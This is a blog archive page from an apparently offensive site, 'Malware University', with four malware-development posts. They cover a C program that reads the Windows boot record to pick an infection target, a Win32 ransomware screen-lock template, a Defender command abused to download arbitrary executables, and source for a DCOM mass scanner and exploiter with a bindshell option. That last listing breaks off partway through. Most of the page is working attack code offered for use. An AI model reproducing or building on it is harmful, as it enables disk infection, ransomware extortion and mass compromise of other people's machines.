Skip to content

Malware University

Class is in Session

  • About
    • Privacy Policy
  • Contact
  • Resources

Category: Malware Development

Topics related to the creation of malware for any purpose.

Read (and infect) Windows MBR

Posted on September 14, 2021 - September 14, 2021 by admin

This code is useful for detecting the exact version of Windows you are using, and then choosing to infect (writing to PHYSICALDRIVE0) of the target machine. Windows 2012 Server and XP are supported in this snippet.

#include "stdafx.h"

#define BUFFER_SIZE		1000
#define SZ_WXP_MBR		382
#define SZ_W2K12_MBR	870 

// You can't include things like partition table, because they are probably unique to each machine.
unsigned char WXP_MBR[382] = {
    0x33, 0xC0, 0x8E, 0xD0, 0xBC, 0x00, 0x7C, 0xFB,
    0x50, 0x07, 0x50, 0x1F, 0xFC, 0xBE, 0x1B, 0x7C,
    0xBF, 0x1B, 0x06, 0x50, 0x57, 0xB9, 0xE5, 0x01,
    0xF3, 0xA4, 0xCB, 0xBD, 0xBE, 0x07, 0xB1, 0x04,
    0x38, 0x6E, 0x00, 0x7C, 0x09, 0x75, 0x13, 0x83,
    0xC5, 0x10, 0xE2, 0xF4, 0xCD, 0x18, 0x8B, 0xF5,
    0x83, 0xC6, 0x10, 0x49, 0x74, 0x19, 0x38, 0x2C,
    0x74, 0xF6, 0xA0, 0xB5, 0x07, 0xB4, 0x07, 0x8B,
    0xF0, 0xAC, 0x3C, 0x00, 0x74, 0xFC, 0xBB, 0x07,
    0x00, 0xB4, 0x0E, 0xCD, 0x10, 0xEB, 0xF2, 0x88,
    0x4E, 0x10, 0xE8, 0x46, 0x00, 0x73, 0x2A, 0xFE,
    0x46, 0x10, 0x80, 0x7E, 0x04, 0x0B, 0x74, 0x0B,
    0x80, 0x7E, 0x04, 0x0C, 0x74, 0x05, 0xA0, 0xB6,
    0x07, 0x75, 0xD2, 0x80, 0x46, 0x02, 0x06, 0x83,
    0x46, 0x08, 0x06, 0x83, 0x56, 0x0D, 0x0A, 0x00,
    0xE8, 0x21, 0x00, 0x73, 0x05, 0xA0, 0xB6, 0x07,
    0xEB, 0xBC, 0x81, 0x3E, 0xFE, 0x7D, 0x55, 0xAA,
    0x74, 0x0B, 0x80, 0x7E, 0x10, 0x00, 0x74, 0xC8,
    0xA0, 0xB7, 0x07, 0xEB, 0xA9, 0x8B, 0xFC, 0x1E,
    0x57, 0x8B, 0xF5, 0xCB, 0xBF, 0x05, 0x00, 0x8A,
    0x56, 0x00, 0xB4, 0x08, 0xCD, 0x13, 0x72, 0x23,
    0x8A, 0xC1, 0x24, 0x3F, 0x98, 0x8A, 0xDE, 0x8A,
    0xFC, 0x43, 0xF7, 0xE3, 0x8B, 0xD1, 0x86, 0xD6,
    0xB1, 0x06, 0xD2, 0xEE, 0x42, 0xF7, 0xE2, 0x39,
    0x56, 0x0D, 0x0A, 0x77, 0x23, 0x72, 0x05, 0x39,
    0x46, 0x08, 0x73, 0x1C, 0xB8, 0x01, 0x02, 0xBB,
    0x00, 0x7C, 0x8B, 0x4E, 0x02, 0x8B, 0x56, 0x00,
    0xCD, 0x13, 0x73, 0x51, 0x4F, 0x74, 0x4E, 0x32,
    0xE4, 0x8A, 0x56, 0x00, 0xCD, 0x13, 0xEB, 0xE4,
    0x8A, 0x56, 0x00, 0x60, 0xBB, 0xAA, 0x55, 0xB4,
    0x41, 0xCD, 0x13, 0x72, 0x36, 0x81, 0xFB, 0x55,
    0xAA, 0x75, 0x30, 0xF6, 0xC1, 0x01, 0x74, 0x2B,
    0x61, 0x60, 0x6A, 0x00, 0x6A, 0x00, 0xFF, 0x76,
    0x0D, 0x0A, 0xFF, 0x76, 0x08, 0x6A, 0x00, 0x68,
    0x00, 0x7C, 0x6A, 0x01, 0x6A, 0x10, 0xB4, 0x42,
    0x8B, 0xF4, 0xCD, 0x13, 0x61, 0x61, 0x73, 0x0E,
    0x4F, 0x74, 0x0B, 0x32, 0xE4, 0x8A, 0x56, 0x00,
    0xCD, 0x13, 0xEB, 0xD6, 0x61, 0xF9, 0xC3, 0x49,
    0x6E, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x20, 0x70,
    0x61, 0x72, 0x74, 0x69, 0x74, 0x69, 0x6F, 0x6E,
    0x20, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x00, 0x45,
    0x72, 0x72, 0x6F, 0x72, 0x20, 0x6C, 0x6F, 0x61,
    0x64, 0x69, 0x6E, 0x67, 0x20, 0x6F, 0x70, 0x65,
    0x72, 0x61, 0x74, 0x69, 0x6E, 0x67, 0x20, 0x73,
    0x79, 0x73, 0x74, 0x65, 0x6D, 0x00, 0x4D, 0x69,
    0x73, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x6F, 0x70,
    0x65, 0x72, 0x61, 0x74, 0x69, 0x6E, 0x67, 0x20,
    0x73, 0x79, 0x73, 0x74, 0x65, 0x6D 
};

unsigned char W2K12_MBR[870] = {
    0xFF, 0xFE, 0x33, 0x00, 0x14, 0x25, 0xC4, 0x00,
    0x68, 0x25, 0x5D, 0x25, 0x00, 0x00, 0x7C, 0x00,
    0xC4, 0x00, 0x14, 0x25, 0xC4, 0x00, 0x6A, 0x25,
    0x5B, 0x25, 0x00, 0x00, 0x7C, 0x00, 0x10, 0x25,
    0x00, 0x00, 0x06, 0x00, 0x63, 0x25, 0x00, 0x00,
    0x02, 0x00, 0x7F, 0x20, 0x64, 0x22, 0xF1, 0x00,
    0x50, 0x00, 0x68, 0x00, 0x1C, 0x00, 0x06, 0x00,
    0x66, 0x25, 0x1A, 0x22, 0x63, 0x25, 0x04, 0x00,
    0x00, 0x00, 0x5C, 0x25, 0x5B, 0x25, 0x07, 0x00,
    0xC7, 0x00, 0x7E, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x7C, 0x00, 0x0B, 0x00, 0x0F, 0x00, 0xE0, 0x00,
    0x0E, 0x00, 0x01, 0x00, 0xE2, 0x00, 0x3C, 0x25,
    0x10, 0x00, 0x93, 0x03, 0xB1, 0x00, 0x50, 0x25,
    0x18, 0x00, 0xEA, 0x00, 0x56, 0x00, 0x00, 0x00,
    0x55, 0x00, 0x5E, 0x25, 0x46, 0x00, 0x11, 0x00,
    0x05, 0x00, 0x5E, 0x25, 0x46, 0x00, 0x10, 0x00,
    0x00, 0x00, 0x24, 0x25, 0x41, 0x00, 0x57, 0x25,
    0xAC, 0x00, 0x55, 0x00, 0x50, 0x25, 0x13, 0x00,
    0x5D, 0x00, 0x72, 0x00, 0x0F, 0x00, 0xFC, 0x00,
    0x1A, 0x22, 0x55, 0x00, 0xAC, 0x00, 0x75, 0x00,
    0x09, 0x00, 0x48, 0x22, 0x34, 0x25, 0x01, 0x00,
    0x00, 0x00, 0x74, 0x00, 0x03, 0x00, 0xA0, 0x25,
    0x46, 0x00, 0x10, 0x00, 0x66, 0x00, 0x60, 0x00,
    0xC7, 0x00, 0x7E, 0x00, 0x10, 0x00, 0x00, 0x00,
    0x74, 0x00, 0x26, 0x00, 0x66, 0x00, 0x68, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x66, 0x00, 0xA0, 0x00, 0x76, 0x00, 0x08, 0x00,
    0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x00,
    0x00, 0x00, 0x7C, 0x00, 0x68, 0x00, 0x01, 0x00,
    0x00, 0x00, 0x68, 0x00, 0x10, 0x00, 0x00, 0x00,
    0x24, 0x25, 0x42, 0x00, 0xE8, 0x00, 0x56, 0x00,
    0x00, 0x00, 0xEF, 0x00, 0x20, 0x23, 0x50, 0x25,
    0x13, 0x00, 0x92, 0x01, 0xE2, 0x00, 0x00, 0x25,
    0x10, 0x00, 0xA7, 0x20, 0xB4, 0x03, 0x14, 0x00,
    0x55, 0x25, 0x01, 0x00, 0x02, 0x00, 0x57, 0x25,
    0x00, 0x00, 0x7C, 0x00, 0xE8, 0x00, 0x56, 0x00,
    0x00, 0x00, 0xE8, 0x00, 0x76, 0x00, 0x01, 0x00,
    0xE8, 0x00, 0x4E, 0x00, 0x02, 0x00, 0xE8, 0x00,
    0x6E, 0x00, 0x03, 0x00, 0x50, 0x25, 0x13, 0x00,
    0x66, 0x00, 0x61, 0x00, 0x73, 0x00, 0x1C, 0x00,
    0xA0, 0x25, 0x4E, 0x00, 0x11, 0x00, 0x75, 0x00,
    0x0C, 0x00, 0xC7, 0x00, 0x7E, 0x00, 0x00, 0x00,
    0xC7, 0x00, 0x0F, 0x00, 0xE4, 0x00, 0xE8, 0x00,
    0x00, 0x00, 0x93, 0x25, 0xC7, 0x00, 0xB4, 0x03,
    0xE4, 0x00, 0x55, 0x00, 0x32, 0x00, 0xA3, 0x03,
    0xE8, 0x00, 0x56, 0x00, 0x00, 0x00, 0x50, 0x25,
    0x13, 0x00, 0x5D, 0x00, 0xB4, 0x03, 0xA7, 0x20,
    0xFC, 0x00, 0x3E, 0x00, 0xA0, 0x25, 0x7D, 0x00,
    0x55, 0x00, 0xAC, 0x00, 0x75, 0x00, 0x6E, 0x00,
    0xA0, 0x00, 0x76, 0x00, 0x00, 0x00, 0xA6, 0x03,
    0xEC, 0x00, 0x00, 0x00, 0x75, 0x00, 0x17, 0x00,
    0xB7, 0x00, 0x91, 0x25, 0x64, 0x25, 0xB5, 0x00,
    0x64, 0x00, 0xA6, 0x03, 0xE2, 0x00, 0x00, 0x00,
    0x91, 0x25, 0x80, 0x25, 0xB5, 0x00, 0x60, 0x00,
    0xA6, 0x03, 0x7C, 0x00, 0x00, 0x00, 0x91, 0x25,
    0xA0, 0x00, 0xB5, 0x00, 0x64, 0x00, 0xA6, 0x03,
    0x75, 0x00, 0x00, 0x00, 0x1A, 0x22, 0x55, 0x25,
    0x00, 0x00, 0x57, 0x25, 0x50, 0x25, 0x1A, 0x00,
    0x66, 0x00, 0x23, 0x00, 0x14, 0x25, 0x75, 0x00,
    0x3B, 0x00, 0x66, 0x00, 0xFC, 0x00, 0x1A, 0x22,
    0x54, 0x00, 0x43, 0x00, 0x50, 0x00, 0x41, 0x00,
    0x75, 0x00, 0x32, 0x00, 0xFC, 0x00, 0x19, 0x22,
    0x02, 0x00, 0x01, 0x00, 0x72, 0x00, 0x2C, 0x00,
    0x66, 0x00, 0x68, 0x00, 0x07, 0x00, 0x57, 0x25,
    0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x68, 0x00,
    0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x66, 0x00, 0x68, 0x00, 0x08, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x53, 0x00,
    0x66, 0x00, 0x53, 0x00, 0x66, 0x00, 0x55, 0x00,
    0x66, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x68, 0x00,
    0x00, 0x00, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x66, 0x00, 0x61, 0x00, 0x68, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x07, 0x00, 0x50, 0x25, 0x1A, 0x00,
    0x5A, 0x00, 0x32, 0x00, 0xF7, 0x00, 0xA9, 0x03,
    0x00, 0x00, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x50, 0x25, 0x18, 0x00, 0xE1, 0x00, 0x56, 0x25,
    0x07, 0x00, 0xB4, 0x03, 0x08, 0x00, 0xE1, 0x00,
    0x62, 0x25, 0x07, 0x00, 0xB4, 0x03, 0x03, 0x00,
    0xE1, 0x00, 0x61, 0x25, 0x07, 0x00, 0x32, 0x00,
    0xA3, 0x03, 0x05, 0x00, 0x00, 0x00, 0x07, 0x00,
    0xEF, 0x00, 0x61, 0x22, 0xBC, 0x00, 0x3C, 0x00,
    0x00, 0x00, 0x74, 0x00, 0x09, 0x00, 0x57, 0x25,
    0x07, 0x00, 0x00, 0x00, 0x24, 0x25, 0x0E, 0x00,
    0x50, 0x25, 0x10, 0x00, 0xB4, 0x03, 0x65, 0x22,
    0x20, 0x23, 0xB4, 0x03, 0xB2, 0x00, 0x2B, 0x00,
    0x54, 0x25, 0xA3, 0x03, 0x64, 0x00, 0xB4, 0x03,
    0x00, 0x00, 0x24, 0x00, 0x02, 0x00, 0xB1, 0x03,
    0xB0, 0x00, 0x24, 0x00, 0x02, 0x00, 0x1C, 0x25,
    0x49, 0x00, 0x6E, 0x00, 0x76, 0x00, 0x61, 0x00,
    0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00,
    0x70, 0x00, 0x61, 0x00, 0x72, 0x00, 0x74, 0x00,
    0x69, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00,
    0x6E, 0x00, 0x20, 0x00, 0x74, 0x00, 0x61, 0x00,
    0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x00,
    0x45, 0x00, 0x72, 0x00, 0x72, 0x00, 0x6F, 0x00,
    0x72, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x6F, 0x00,
    0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x6E, 0x00,
    0x67, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x70, 0x00,
    0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00,
    0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00,
    0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00,
    0x65, 0x00, 0x6D, 0x00, 0x00, 0x00, 0x4D, 0x00,
    0x69, 0x00, 0x73, 0x00, 0x73, 0x00, 0x69, 0x00,
    0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x6F, 0x00,
    0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00,
    0x74, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00,
    0x20, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00,
    0x74, 0x00, 0x65, 0x00, 0x6D, 0x00 
};




BOOL IsUserAdmin()
{
	BOOL b;
	SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
	PSID administratorsGroup;

	b = AllocateAndInitializeSid(&ntAuthority,
		2,
		SECURITY_BUILTIN_DOMAIN_RID,
		DOMAIN_ALIAS_RID_ADMINS,
		0, 0, 0, 0, 0, 0,
		&administratorsGroup);
	if (b)
	{
		if (!CheckTokenMembership(NULL, administratorsGroup, &b))
			b = FALSE;
		FreeSid(administratorsGroup);
	}

	return b;
}

// We look for exact matches at the moment.

BOOL IsWindowsXP(char* mbr)
{
	for (int i = 0; i < SZ_WXP_MBR; i++)
		if (*(mbr + i) != *(WXP_MBR + i))
			return false;
	return true;
}

BOOL IsWindows2012(char* mbr)
{
	for (int i = 0; i < SZ_W2K12_MBR; i++)
		if (*(mbr + i) != *(W2K12_MBR + i))
			return false;
	return true;
}

void InfectMBR_XP()
{

}

void InfectMBR_2012()
{

}



int _tmain(int argc, _TCHAR* argv[])
{
	FILE*		dosDevice;
	FILE*		outputFile;
	char		buffer[BUFFER_SIZE];

	if (!IsUserAdmin())
	{
		fprintf(stderr, "You must be admin\n");

		return -1;
	}

	dosDevice = fopen("\\\\.\\PHYSICALDRIVE0", "rb");
	if (!dosDevice)
	{
		fprintf(stderr, "Unable to open MBR\n");

		return -2;
	}

	outputFile = fopen("output.img", "wb");
	if (!outputFile)
	{
		fprintf(stderr, "Unable to open output file\n");

		return -1;
	}

	fread(buffer, BUFFER_SIZE, sizeof(char), dosDevice);
	fclose(dosDevice);

	if (IsWindowsXP(buffer))
		fprintf(stdout, "Detected Windows XP MBR\n");
	else if (IsWindows2012(buffer))
		fprintf(stdout, "Detected Windows 2012 Server MBR\n");

	return 0;
}
Posted in Code Analysis, Malware Development, TechniquesTagged infector, mbr, windowsLeave a comment

Generic Win32 Ransomware Template

Posted on December 20, 2020 - December 20, 2020 by admin

The following is a basic (C++) program to build out Win32 ransomware projects. It will let you “control” a Windows session’s terminal/screen. The file encrypting, transporting, ransoming, destruction, etc, is left as an exercise to the reader.

#include <Windows.h>
#include <WinGDI.h>

void CreateWndContent0(HWND parent)
{
	HWND wnd;
	wnd = CreateWindowExW(NULL, L"BTN", L"btn", 0x50012F00, 50, 100, 200, 100, parent, (HMENU) IDC_BUTTON0, instance, NULL);
	SendMessage(wnd, WM_SETFONT, (WPARAM) h_font, TRUE);
}

LRESULT CALLBACK WndProc0(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
{
	switch (msg)
	{
		case WM_CREATE:
			CreateWndContent0(hwnd);
			break;

		case WM_COMMAND:
			switch (LOWORD(wparam))
			{
				case IDC_BUTTON0:
					MessageBoxW(hwnd, L"BTN is clicked.", L"Event", MB_OK | MB_ICONINFORMATION);
					SendMessageW(hwnd, WM_DESTROY, NULL, false);
					break;
			}
			break;

		case WM_SYSCOMMAND:
			return true;
			break;

		case WM_DESTROY:
			PostQuitMessage(0);
			break;
	
		default:
			return DefWindowProc(hwnd, msg, wparam, lparam);
	}
	return FALSE;
}

HWND CreateWnd0()
{
	HWND wnd;
	wnd = CreateWindowExW(NULL, WND_CLASS_NAME0, L"window", WS_POPUP, 0, 0, 1920, 1080, NULL, NULL, instance, NULL);
 // Get screen size dynamically for the win
	hWindow0 = wnd;
	SetWindowPos(wnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
	ShowWindow(wnd, SW_SHOWNORMAL);
	UpdateWindow(wnd);
	return wnd;
}	

DWORD WINAPI Window0Thread( LPVOID param )
{
	SetThreadDesktop(hDesktop); // New desktop where further windows created
	RegisterClasses(WndProc0, WND_CLASS_NAME0);
	CreateWnd0();
	MessageLoop();
	ExitThread(0);
}

namespace Window
{
	bool CALLBACK HideWindowProc(HWND hwnd, LPARAM lParam)
	{
		if(GetAncestor(hwnd, 3) == hWindow0)
			return true;
		ShowWindow(hwnd, SW_HIDE);
		return true;
	}

	bool Init(HINSTANCE hInstance)
	{
		instance = hInstance;
		InitCommonControls();
		h_font = CreateFontW(-13, 0, 0, 0, FW_NORMAL, 0,
				0, 0, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
				DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Times New Roman");

		hWinsta = GetProcessWindowStation();
		SetProcessWindowStation(hWinsta);
		hDesktop = CreateDesktopW(L"Our ransomware message, give us all the bitcoins!", 0, 0, 0, GENERIC_ALL, NULL);
		hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
		SetThreadDesktop(hDesktop); // All windows created under this desktop.
		SwitchDesktop(hDesktop); // Take control of what the user sees. Show them the message.
		
		hThreadWindow0 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) &Window0Thread, 0, 0, 0);
		return true;
	}

	void DeInit()
	{
		SwitchDesktop(hOldDesktop); // Restore the old, original, desktop.
 Because you're a nice boy ;)
		CloseDesktop(hDesktop);
		CloseWindowStation(hWinsta);
	}
}
Posted in Malware DevelopmentTagged c++, ransomeware, template, win32Leave a comment

LoL – Microsoft Defender

Posted on September 6, 2020 - September 6, 2020 by admin

Microsoft has graciously allowed users to download arbitrary executables in a recent update to Microsoft Defender since version 4.18.2007.9 and 4.18.2009.9, inclusive.

Command syntax: “mpcmdrun -DownloadFile -url <url> -path <path>”

With some luck we may get ubiquitous SSH access to all Windows workstations in the near future. It would greatly improve connectivity. Think of the possibilities!

Living off the Land is never going away and this is not a security incident. Just another proof point that administrators need to monitor the usage of such integrated tools to keep a full picture of how users, legitimate or compromised, are (ab)using their respective systems.

Posted in Malware DevelopmentTagged arbitrary download, Defender, living off the land, LoLLeave a comment

Example C “Wormable” Scanner

Posted on April 28, 2020 - April 28, 2020 by admin

This tool is old but an example that even novice practitioners can have damaging impact on computer systems.

It was used by several underground groups and purportedly compromised a (7) seven-figure number of computer systems around the world at the time of the infamous DCOM vulnerability in 2003/2004.

It relies on advanced exploitation and bug discovery by other groups but was prepared ahead of release by the Polish group who discovered the bug, as they gave a ~three weeks announcement before dropping the 0day. Surely this group was not the only one with such tools ready to go, with further payloads for after a shell was acquired 😉

Before the advent of services like Shodan groups would prescan large address ranges if they knew something was coming and/or they were on the cusp of finding vulnerabilities for a particular service. ISPs were not so strict back then so you could easily do this from home with no issues.

DCOM changed the way ISPs looked at port scanning policies. While not violating national laws they felt it was their moral duty to prevent enumeration techniques as much as possible.

/******************************Windows DCOM Universal Scanner************************\\\\\\\\\\\\
 * 			   Coded by Dominatus<[email protected]>                             \
 *                                                                                              \
 * This exploit was found by LSD<www.lsd-pl.net>                                                \
 * The program to exploit Win2k and WinXP universally was oc192.us Security.                    \
 * I wrote this scanner though, which is what you are looking at right now.                     \
 *                                                                                              \
 * Please stop by irc.undernet.org/#kracknet and check out www.kracknet.org(which isn't finished\
 * yet), and please check out www.hbx.us, which has free shell accounts, and currently hairball \
 * needs some money to keep it up, so please help if you use his services.  Check out           *
 * www.skope6.com, we're a new security group.  We post a lot of computer and security          *
 * information.  Come talk with us at irc.undernet.org/#skope6                                  *
 *                                                                                              *
 \                                                                                              *
 \ Note: Some ISPs block port 135, so you may have problems finding machines on certain ranges  *
 \                                                                                              *
 \ What this program does is either scan for machines with <port> open, with the option to log  *
 \ them to a file, or root the vulnerable IPs from a logfile from a scan, and exploits the OS   *
 \ you choose.                                                                                  *
 \                                                                                              *
 \ 		YOU TAKE FULL RESPONSIBILITY FOR WHAT YOU DO WITH THIS PROGRAM                  *
 \\\\\\\\\\\\\***********************************************************************************/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define ACTIVE 1
#define NOT_ACTIVE 0

#define MAXIMUM_SOCKS 200

struct connection
{
	int sock;
	char status;
	time_t scan_time;
	struct sockaddr_in addr;
};

struct connection ConnectionList[MAXIMUM_SOCKS];

void catchsig();
void initialize_connection(char *logFile);
void check_connection(char logFile[256]);
void rootlog(char *logFile);
void usage(char *argv0)
{
	fprintf(stderr, "\n\n\n	                                 Windows DCOM Universal Scanner\n");
	fprintf(stderr, "                                    Coded by Dominatus<[email protected]>\n\n");
	fprintf(stderr, "                                     A Production of Skope6 Research Group\n");
	fprintf(stderr, "                       www.skope6.com irc.undernet.org/#skope6/#kracknet www.kracknet.org\n\n");
	fprintf(stderr, "==============================================================================================================\n");
	fprintf(stderr, "+--  Skope6 Team: dominatus, sybah, eaglex, icecow, hairball, deversify, provizon, brotroxer, and lazurus  --+\n");
	fprintf(stderr, "==============================================================================================================\n\n");
	fprintf(stderr, "**************************************************************************\n");
	fprintf(stderr, "Usage:\n\n");
	fprintf(stderr, "%s [IP] <-p> <-t> <-r> <-l> <-b> <-s>\n\n", argv0);
	fprintf(stderr, "[IP]:            IP to begin scanning at (1.0.0.0 - 255.255.255.255)\n");
	fprintf(stderr, "-p <port>:       Scan/exploit hosts on this port number(default: 135)\n");
	fprintf(stderr, "-t <timeout>:    Timeout in seconds for sockets(default: 5)\n");
	fprintf(stderr, "-r <logfile>:    Root the servers from a -l <logfile>\n");
	fprintf(stderr, "-l <logfile>:    Log hosts with port (default: 135) open in a logfile\n");
	fprintf(stderr, "-b <port>:       Bindshell port(default: 666)\n");
	fprintf(stderr, "-s <selection>:  Pick which OS you would like to exploit\n");
	fprintf(stderr, "                 Targets: (use this only with option -r <logfile>)\n");
	fprintf(stderr, "                        0    Windows 2000 (Universal)\n");
	fprintf(stderr, "                        1    Windows XP (Universal)(default)\n");
	fprintf(stderr, "**************************************************************************\n\n");
	fprintf(stderr, "Examples:\n\n");
	fprintf(stderr, "%s 207.0.0.1 -l vulnhosts.txt\n", argv0);
	fprintf(stderr, "%s -r vulnhosts.txt -s 0 -p 136\n\n", argv0);
	exit(0);
}

int 		startA = 1, startB = 0, startC = 0, startD = 0;

int		port = 135;
int		root = 0;
int		log = 0;
int		selection = 1;
int		timeout = 5;
int		bindport = 666;

char 		logfile[256];
char 		*win2k = "Windows 2000 (Universal)";
char 		*winxp = "Windows XP (Universal)";

int main(int argc, char *argv[])
{
	int 		done = 0;
        int		i;
        int		k;
        int		ns;
        int		ret;
	
	int 		opt;
	
	char 		IP[16];

	time_t 		scan_time;

	FILE		*logFile;
	
	if (argc < 2)
	{
		usage(argv[0]);
	}
	
	sscanf(argv[1], "%d.%d.%d.%d", &startA, &startB, &startC, &startD);
	
	while ((opt = getopt(argc, argv, "p:t:r:l:s:b:")) != EOF)
	{
		switch (opt)
		{
			case 'p':
				port = atoi(optarg);
				break;

			case 't':
				timeout = atoi(optarg);
				break;
				
			case 'r':
				strncpy(logfile, optarg, sizeof(logfile));
				logFile = fopen(logfile, "r+");
				if (logFile == NULL)
				{
					fprintf(stderr, "Unable to append to %s\n", logfile);
					exit(1);
				}
				fclose(logFile);
				root = 1;
				break;

			case 'l':
				if (optarg == NULL)
					usage(argv[0]);
				strncpy(logfile, optarg, sizeof(logfile));
				logFile = fopen(logfile, "a+");
				if (logFile == NULL)
				{
					fprintf(stderr, "Unable to append to %s\n", logfile);
					exit(1);
				}
				fclose(logFile);
				log = 1;
				break;

			case 's':
				selection = atoi(optarg);
				break;

			case 'b':
				bindport = atoi(optarg);
				break;
				
			case '?':
				usage(argv[0]);
				break;

			default:
				usage(argv[0]);
		}
	}

	if (!root)
		if (strlen(argv[1]) > 15)
			usage(argv[0]);
	
	initialize_connection(logfile);

	scan_time = time(0);

	if (log && root)
	{
		fprintf(stderr, "You can\'t use the -l(log) and -r(root hosts from log) together\n");
		exit(1);
	}

	if (!root)
	{
		if (startA > 255 || startB > 255 || startC > 255 || startD > 255)
			usage(argv[0]);

		if (startA < 1 || startB < 0 || startC < 0 || startD < 0)
			usage(argv[0]);
	}
	
	if (root)
		rootlog(logfile);
	else
		signal(SIGINT, catchsig);

	while (!done)
	{
		for (i = 0; i < MAXIMUM_SOCKS; i++)
		{
			if (ConnectionList[i].status == NOT_ACTIVE)
			{
				ConnectionList[i].sock = socket(AF_INET, SOCK_STREAM, 0);
				if (ConnectionList[i].sock != -1)
				{
					ret = fcntl(ConnectionList[i].sock, F_SETFL, O_NONBLOCK);
					if (ret == -1)
					{
						fprintf(stderr, "Unable to set O_NONBLOCK\n");
						close(ConnectionList[i].sock);
					}
					else
					{
						memset((char *)IP, 0, sizeof(IP));
						snprintf(IP, sizeof(IP), "%d.%d.%d.%d", startA, startB, startC, startD);
						ConnectionList[i].addr.sin_addr.s_addr = inet_addr(IP);
						if (ConnectionList[i].addr.sin_addr.s_addr == -1)
						{
							fprintf(stderr, "\nInvalid IP\n");
							exit(1);
						}
						ConnectionList[i].addr.sin_family = AF_INET;
						ConnectionList[i].addr.sin_port = htons(port);
						ConnectionList[i].scan_time = time(0);
						ConnectionList[i].status = ACTIVE;
						startD++;
						
						if (startD == 256)
						{
							if (startC < 255)
							{
								startD = 0;
								startC++;
							}
							else
							{	
								if (startB < 255)
								{
									startD = 0;
									startC = 0;
									startB++;
								}
								else
								{	
									if (startA < 255)
									{
										startD = 0;
										startC = 0;
										startB = 0;
										startA++;
									}
									else
									{
										fprintf(stderr, "Finished\n");
										
										for (i = 0; i < MAXIMUM_SOCKS; i++)
											close(ConnectionList[i].sock);
										
										exit(0);
									}
								}
							}
						}
					}
				}
			}
		}
		
		check_connection(logfile);
	}
}

void catchsig()
{
	int 		i;

	fprintf(stderr, "\n\nCtrl+C caught\n");
	fprintf(stderr, "Closing Connections...\n");

	for (i = 0; i < MAXIMUM_SOCKS; i++)
	{
		close(ConnectionList[i].sock);
	}

	fprintf(stderr, "Connections Successfully Closed\n");
	exit(0);
}

void initialize_connection(char *logFile)
{
	int 		i;

	for (i = 0; i < MAXIMUM_SOCKS; i++)
	{
		ConnectionList[i].status = NOT_ACTIVE;
		memset((struct sockaddr_in *)&ConnectionList[i].addr, 0, sizeof(struct sockaddr_in));
	}

	fprintf(stderr, "                               Windows DCOM Universal Scanner\n");
	fprintf(stderr, "                          coded by Dominatus<[email protected]>\n\n");
	fprintf(stderr, "                            A Production of Skope6 Research Group\n");
	fprintf(stderr, "             www.skope6.com irc.undernet.org/#skope6/#kracknet www.kracknet.org\n\n\n");
	
	if (!root)
	{
		fprintf(stderr, "Starting scan from %d.%d.%d.%d    Port: 135 Timout: %d second(s)\n", startA, startB, startC, startD, timeout);
		fprintf(stderr, "Press Ctrl+C to stop or Ctrl+Z to suspend\n\n");
	}
}

void check_connection(char logFile[256])
{
	int 		i;
	int 		ret;
	int		selectionCheck = selection;

	char		IPaddress[16];

	FILE		*logf;

	for (i = 0; i < MAXIMUM_SOCKS; i++)
	{
		if ((ConnectionList[i].scan_time < (time(0) - timeout)) && (ConnectionList[i].status == ACTIVE))
		{
			close(ConnectionList[i].sock);
			ConnectionList[i].status = NOT_ACTIVE;
		}
		
		else if (ConnectionList[i].status == ACTIVE)
		{
			memset(ConnectionList[i].addr.sin_zero, 0, 8);
			ret = connect(ConnectionList[i].sock, (struct sockaddr *)&ConnectionList[i].addr, sizeof(struct sockaddr_in));
			strncpy(IPaddress, (char *)inet_ntoa(ConnectionList[i].addr.sin_addr), sizeof(IPaddress));			
			if (ret == -1)
			{
				if (errno == EISCONN)
				{
					fprintf(stderr, "%s\n", IPaddress, (time(0) - ConnectionList[i].scan_time));
					close(ConnectionList[i].sock);
					ConnectionList[i].status = NOT_ACTIVE;
				}

				if ((errno != EALREADY) && (errno != EINPROGRESS))
				{
					close(ConnectionList[i].sock);
					ConnectionList[i].status = NOT_ACTIVE;
				}
			}
			else
			{
				if (log)
				{
					logf = fopen(logFile, "a+");
					fprintf(logf, "%s\n", IPaddress);
					fclose(logf);
				}
				
				else
